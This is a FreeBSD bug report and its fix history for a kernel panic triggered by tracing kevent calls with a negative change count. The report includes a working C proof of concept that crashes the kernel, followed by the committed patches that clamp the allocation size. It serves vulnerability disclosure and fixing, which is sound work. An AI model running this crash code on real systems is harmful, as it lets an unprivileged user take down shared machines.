Bug 217435 - Users can panic the kernel by tracing kevents with unusual arguments.
Summary: Users can panic the kernel by tracing kevents with unusual arguments.
Status: Closed FIXED
Alias: None
Product: Base System
Classification: Unclassified
Component: kern (show other bugs)
Version: 10.3-RELEASE
Hardware: Any Any
: --- Affects Many People
Assignee: freebsd-bugs (Nobody)
URL:
Keywords: patch
Depends on:
Blocks:
 
Reported: 2017-02-28 20:28 UTC by Tim Newsham
Modified: 2017-07-27 07:17 UTC (History)
3 users (show)

See Also:


Attachments
Limit the size of uio's for ktrace events and changes to max ktrio size. (2.75 KB, patch)
2017-03-08 22:32 UTC, Konstantin Belousov
no flags Details | Diff

Note You need to log in before you can comment on or make changes to this bug.
Description Tim Newsham 2017-02-28 20:28:20 UTC
/*
 * keventCrash.c
 *    Crash FreeBSD by tracing kevent with unusual parameters.

Synopsis:
Tracing sys_kevent calls with unusual arguments leads to an overly
large allocation request that leads to a general protection fault.

Description:
sys_kevent tries to trace with this code before doing the syscall:

    if (KTRPOINT(td, KTR_GENIO)) {
        ktriov.iov_base = uap->changelist;
        ktriov.iov_len = uap->nchanges * sizeof(struct kevent);
        ktruio = (struct uio){ .uio_iov = &ktriov, .uio_iovcnt = 1,
            .uio_segflg = UIO_USERSPACE, .uio_rw = UIO_READ,
            .uio_td = td };
        ktruioin = cloneuio(&ktruio);
        ktriov.iov_base = uap->eventlist;
        ktriov.iov_len = uap->nevents * sizeof(struct kevent);
        ktruioout = cloneuio(&ktruio);
    }

and this code after doing the syscall:

    if (ktruioin != NULL) {
        ktruioin->uio_resid = uap->nchanges * sizeof(struct kevent);
        ktrgenio(uap->fd, UIO_WRITE, ktruioin, 0);
        ktruioout->uio_resid = td->td_retval[0] * sizeof(struct kevent);
        ktrgenio(uap->fd, UIO_READ, ktruioout, error);
    }

here uap->nchanges nad upa->nevents are signed integers,
iov_len is a size_t (unsigned) and uio_resid is a ssize_t (signed).  
Later in ktrgenio an int datalen is computed:

    datalen = MIN(uio->uio_resid, ktr_geniosize);
    buf = malloc(datalen, M_KTRACE, M_WAITOK);

which truncates uio_resid to 32-bits and allocates from it.
malloc will treat datalen as "unsigned long", sign extending
it to a very large number.  This causes errors in malloc
resulting in a crash.

Recommendation:
Rejected negative values of "nchanges" and "nevents" in sys_kevent.
Make "datalen" an unsigned long in ktrgenio.
Consider rejecting overly large allocation requests in malloc.

 */

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/event.h>
#include <sys/param.h>
#include <sys/time.h>
#include <sys/uio.h>
#include <sys/ktrace.h>

void xperror(char *msg)
{
    perror(msg);
    exit(1);
}

int main(int argc, char **argv)
{
    char *fn = "/tmp/trace";
    struct kevent changes[1] = { {0} };
    struct kevent events[1] = { {0} };

    if(open(fn, O_RDWR | O_CREAT, 0666) == -1)
        xperror(fn);
    if(ktrace(fn, KTRFLAG_DESCEND | KTROP_SET, KTRFAC_GENIO, 0) == -1)
        xperror("ktrace");
    if(kevent(0, changes, -1, events, 1, 0) == -1)
        xperror("kevent");
    printf("done\n");
    return 0;
}
Comment 1 Konstantin Belousov freebsd_committer freebsd_triage 2017-03-08 22:32:55 UTC
Created attachment 180655 [details]
Limit the size of uio's for ktrace events and changes to max ktrio size.

The attached patch worked for me, the test program fails with invalid file descriptor error instead of panicing debugging kernel.
Comment 2 commit-hook freebsd_committer freebsd_triage 2017-03-12 13:49:00 UTC
A commit references this bug:

Author: kib
Date: Sun Mar 12 13:48:25 UTC 2017
New revision: 315155
URL: https://svnweb.freebsd.org/changeset/base/315155

Log:
  Ktracing kevent(2) calls with unusual arguments might leads to an
  overly large allocation requests.

  When ktrace-ing io, sys_kevent() allocates memory to copy the
  requested changes and reported events.  Allocations are sized by the
  incoming syscall lengths arguments, which are user-controlled, and
  might cause overflow in calculations or too large allocations.

  Since io trace chunks are limited by ktr_geniosize, there is no sense
  it even trying to satisfy unbounded allocations.  Export ktr_geniosize
  and clamp the buffers sizes in advance.

  PR:	217435
  Reported by:	Tim Newsham <tim.newsham@nccgroup.trust>
  Sponsored by:	The FreeBSD Foundation
  MFC after:	1 week

Changes:
  head/sys/kern/kern_event.c
  head/sys/kern/kern_ktrace.c
  head/sys/sys/ktrace.h
Comment 3 commit-hook freebsd_committer freebsd_triage 2017-03-18 03:50:56 UTC
A commit references this bug:

Author: kib
Date: Sat Mar 18 03:49:50 UTC 2017
New revision: 315470
URL: https://svnweb.freebsd.org/changeset/base/315470

Log:
  MFC r315155:
  Ktracing kevent(2) calls with unusual arguments might leads to an
  overly large allocation requests.

  PR:	217435

  MFC r315237:
  Hide kev_iovlen() definition under #ifdef KTRACE.

Changes:
_U  stable/11/
  stable/11/sys/kern/kern_event.c
  stable/11/sys/kern/kern_ktrace.c
  stable/11/sys/sys/ktrace.h
Comment 4 commit-hook freebsd_committer freebsd_triage 2017-03-19 15:56:20 UTC
A commit references this bug:

Author: kib
Date: Sun Mar 19 15:56:06 UTC 2017
New revision: 315562
URL: https://svnweb.freebsd.org/changeset/base/315562

Log:
  MFC r315155:
  Ktracing kevent(2) calls with unusual arguments might leads to an
  overly large allocation requests.

  PR:	217435

Changes:
_U  stable/10/
  stable/10/sys/kern/kern_event.c
  stable/10/sys/kern/kern_ktrace.c
  stable/10/sys/sys/ktrace.h
Comment 5 Ed Maste freebsd_committer freebsd_triage 2017-07-27 01:51:35 UTC
kib@ this is complete?